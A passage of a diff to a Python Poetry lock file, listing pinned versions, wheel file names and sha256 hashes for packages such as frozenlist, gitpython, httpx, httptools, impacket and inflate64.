"frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"}, + {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"}, + {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"}, + {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"}, + {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"}, + {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"}, + {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"}, + {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"}, + {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"}, + {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"}, + {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"}, + {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"}, + {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"}, + {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"}, +] + +[[package]] +name = "future" +version = "0.18.3" +description = "Clean single-source support for Python 3 and 2" +optional = false +python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "future-0.18.3.tar.gz", hash = "sha256:34a17436ed1e96697a86f9de3d15a3b0be01d8bc8de9c1dffd59fb8234ed5307"}, +] + +[[package]] +name = "gitdb" +version = "4.0.10" +description = "Git Object Database" +optional = false +python-versions = ">=3.7" +files = [ + {file = "gitdb-4.0.10-py3-none-any.whl", hash = "sha256:c286cf298426064079ed96a9e4a9d39e7f3e9bf15ba60701e95f5492f28415c7"}, + {file = "gitdb-4.0.10.tar.gz", hash = "sha256:6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"}, +] + +[package.dependencies] +smmap = ">=3.0.1,<6" + +[[package]] +name = "gitpython" +version = "3.1.32" +description = "GitPython is a Python library used to interact with Git repositories" +optional = false +python-versions = ">=3.7" +files = [ + {file = "GitPython-3.1.32-py3-none-any.whl", hash = "sha256:e3d59b1c2c6ebb9dfa7a184daf3b6dd4914237e7488a1730a6d8f6f5d0b4187f"}, + {file = "GitPython-3.1.32.tar.gz", hash = "sha256:8d9b8cb1e80b9735e8717c9362079d3ce4c6e5ddeebedd0361b228c3a67a62f6"}, +] + +[package.dependencies] +gitdb = ">=4.0.1,<5" + +[[package]] +name = "h11" +version = "0.14.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.7" +files = [ + {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, + {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, +] + +[[package]] +name = "httpcore" +version = "0.16.3" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpcore-0.16.3-py3-none-any.whl", hash = "sha256:da1fb708784a938aa084bde4feb8317056c55037247c787bd7e19eb2c2949dc0"}, + {file = "httpcore-0.16.3.tar.gz", hash = "sha256:c5d6f04e2fc530f39e0c077e6a30caa53f1451096120f1f38b954afd0b17c0cb"}, +] + +[package.dependencies] +anyio = ">=3.0,<5.0" +certifi = "*" +h11 = ">=0.13,<0.15" +sniffio = "==1.*" + +[package.extras] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] + +[[package]] +name = "httptools" +version = "0.6.0" +description = "A collection of framework independent HTTP protocol utils." +optional = false +python-versions = ">=3.5.0" +files = [ + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"}, + {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"}, + {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"}, + {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"}, + {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"}, + {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"}, + {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"}, + {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"}, + {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"}, + {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"}, + {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"}, + {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"}, + {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"}, + {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"}, + {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"}, +] + +[package.extras] +test = ["Cython (>=0.29.24,<0.30.0)"] + +[[package]] +name = "httpx" +version = "0.23.3" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpx-0.23.3-py3-none-any.whl", hash = "sha256:a211fcce9b1254ea24f0cd6af9869b3d29aba40154e947d2a07bb499b3e310d6"}, + {file = "httpx-0.23.3.tar.gz", hash = "sha256:9818458eb565bb54898ccb9b8b251a28785dd4a55afbc23d0eb410754fe7d0f9"}, +] + +[package.dependencies] +certifi = "*" +httpcore = ">=0.15.0,<0.17.0" +rfc3986 = {version = ">=1.3,<2", extras = ["idna2008"]} +sniffio = "*" + +[package.extras] +brotli = ["brotli", "brotlicffi"] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<13)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "impacket" +version = "0.10.0" +description = "Network protocols Constructors and Dissectors" +optional = false +python-versions = "*" +files = [ + {file = "impacket-0.10.0.tar.gz", hash = "sha256:b8eb020a2cbb47146669cfe31c64bb2e7d6499d049c493d6418b9716f5c74583"}, +] + +[package.dependencies] +chardet = "*" +flask = ">=1.0" +future = "*" +ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" +ldapdomaindump = ">=0.9.0" +pyasn1 = ">=0.2.3" +pycryptodomex = "*" +pyOpenSSL = ">=0.16.2" +six = "*" + +[[package]] +name = "inflate64" +version = "0.3.1" +description = "deflate64 compression/decompression library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "inflate64-0.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d4e2a337c6c03b0e96ccd79940cbb04fe2063974d56fff6d78f8d57839546c57"}, + {file = "inflate64-0.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c142fbbbfbe0877fe821ff8bc4cc10f96d344b7400721579b3d17deeae28f59"}, + {file = "inflate64-0.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3a17e1dd1a5a872edfc02bc4a048868ada4865a3f4ee3ad5d224b192f2e53df7"}, + {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cf41f82dd4e90e8684c7be4583d7232bd800a561f3ed0241c84e39148861887"}, + {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6059eaba5044739ad6424588e845bd856f89a1a18f1addc31b97c49f02f68728"}, + {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5c5b2eb7e89d550d287774dea7d429ee24ce44ca34499a6cef113a14f108e700"}, + {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:1d861fed6b2098d1862b64db9df650b9bd41fc41caa9fcaeee399079342aa4a8"}, + {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e32a78c81afba5699569c3493066ecb38fb45ccdf4c35b3c2232c9c2585b5257"}, + {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:42a6ef375b3e7059bd52993a0938f2bf97725cb5dc380f0c4dbaa9fc3780e025"}, + {file = "inflate64-0.3.1-cp310-cp310-win32.whl", hash = "sha256:664929528047b6b472852a4c0d12b4b9cf6e663059ba64ebd10f08aa56365755"}, + {file = "inflate64-0.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:08c3b03514d4b849901762a32a45eeba7fd5d784fec698eca6975f41cca33672"}, + {file = "inflate64-0.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c71821f93c931ae379cf9c9bbdd7099738fa00802ccf2a5271e2b68bc67a6ab8"}, + {file = "inflate64-0.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3bacbe9d4b7c185011b59268223a010ed777a28ed8cf40efc74fab1b7262e904"}, + {file = "inflate64-0.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:130dfdca4bd38e588ea4f878bf62635e36f83ddf7f2842d1055d1c16a11890cf"}, + {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80a125dd5cb7b7985c05a78b0bfd7751249d0d84fc330901dbd9faa693e1f53f"}, + {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67efdfd21d7b99f30a43560b22264c1e580ff08ae9831e78c99445575962dbc7"}, + {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ad84ac611eae17a961124c5fbe754b6982291a3945ab2b9c334a08e2e56f9ccc"}, + {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a1b481343f12641b1ae7a19135a70c44ecf020dccb670e02522c2b02db920851"}, + {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:ad4cae5097bdff7e0bb1ab676d86ad08716597baa3b616e5b710a724f5d5cbc4"}, + {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:906a4b57df32f903e847766ca685e44ed3e7ee3a960fa94264d5e68b836d446d"}, + {file = "inflate64-0.3.1-cp311-cp311-win32.whl", hash = "sha256:0b0c8aa2fcdb1052d3bc6c5b5b1191b9c708d30e47af98ba0a8117ae1f6c9efc"}, + {file = "inflate64-0.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:473e0081c268ffa4b18683586b55170eb96d8b4fc684dd3ed9599c17c512d2e4"}, + {file = "inflate64-0.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f6737a575c6e7e818963d95a998be4c91484374961734cee97265f3c4c3b979"}, + {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c913b679f023f5907a54bfa9a6e438407ed4e40eee23ed19b4118128bdd091c"}, + {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29946840e6970d68e7739207ca21140c59ffebe7e02d28c7e86348166ce32418"}, + {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ba954600441eafe8f6f54eadffeac4d1ab2416d5d1a6b0ab403e50284ba457b"}, + {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:f2a4dac4ebc4ad58a4ac911e39cf97cd74906c0c82c16333887aa9f287e98d5b"}, + {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7b7966193f1bf23e050af72b4c4720dffa5f33471de7afea37ba0d0f0195adef"}, + {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7f8346e644de449a4a90dcb22971dea456398b6cc788102013675b11256ae47e"}, + {file = "inflate64-0.3.1-cp37-cp37m-win32.whl", hash = "sha256:f39b57974db0e85897fff40518da420f4c4012b73515ca6f415a472228fea288"}, + {file = "inflate64-0.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:74ceb9d172ce06572632bc8070d54b963455421e216013575383f991e722bb7d"}, + {file = "inflate64-0.3.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c28cb635ccb9aae399fbc8e82c85b89ea0a7bb2219e7d582bbc007a29fb6e149"}, + {file = "inflate64-0.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:9297115bf144c585e9d6a746e851c64c81d8f1ce8b62da4885babe66c36f7d29"}, + {file = "inflate64-0.3.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a075b174bace5174828906c7c87019a2af3cc5707025f01ee0395fb4b88fd98e"}, + {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa7476129e7f81e67a9253470c3085a9fd75ec77e6fae3de61f7795138ce725e"}, + {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:35e24ffd8d6225fbfe26c524b45ace1bb8956811bd79e9f3d523a721d51b0d4e"}, + {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:553cd992f02af574d2116c74ca48d7cf10894c6b9ba8159f488f3bfac3c201ae"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:82393e46b8ba2f8613d030f38c7c492b0896ff8803f7ff870677f25d3e5e7113"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:67e37d96ea2ee8257b12cde83a09e4f0276950268a7a2f777aee7de60db5ec72"}, + {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:09dd0f8d6dee0da467c264dbd9bca8b33f9c915860fc3385f2a633640a65bd10"}, + {file = "inflate64-0.3.1-cp38-cp38-win32.whl", hash = "sha256:26e8319fd032c520203e2c001f1693c1c03774d85915900427e884011718f41d"}, + {file = "inflate64-0.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:ab8f9e14ba6495f440101751ba8aa371e4a52941b5e343c6f3e8c61021e2df5e"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:094ef56a87c7b7398d93af7bfe7f24f830f24b6e55b77426f6516cef43e05460"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:48fd2527a462374dc19be06301d6aa30a03190532f2f8bddfbc39b7158561750"}, + {file = "inflate64-0.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fde3f85864c84badb26f42d95639360e627fd09c529a76c46a06dbd7a5735c51"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5efd55c21b794601fd44b99b8e2f17498744f573116ce27a745bc5e08f0457e1"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d71af8b23ac23bc9e9f776451c125be6320ad4589a7d5bcb5ab5e1fc61b4e58f"}, + {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ced0af509a31dcba0cd98ecdd06cb7c9ce66ebde78e0d99ba3515d4e991e34d0"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:853f3442eceda8035072686533694ab833c4293d10c9d0685147200f0e964356"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:a6bec3d2f30f6f2656e1c5a4147181e401c8d7026cd598d86ad5647c616fc618"}, + {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:84287d1d09fd879353d3ccadd43f3d8adea75e830476ddfd46d8849d36d25afe"}, + {file = "inflate64-0.3.1-cp39-cp39-win32.whl", hash = "sha256:a2f4aaa02f9a5ada944960428b6528a0a9d773925efc73485882f34bf42654be"}, + {file = "inflate64-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:6ff89f94823b2466bae45759fc324bd25bd20c490607a7d8407237cf64ccafa9"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1faf43890dbfff31195f5d59e37e49824f5ff4be77d67f7144a6b953bbde51c"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1749da3a02b53035cde1cf95f885e78e0c2c49b201e97d368b3ba97e0f3d42c3"}, + {file = 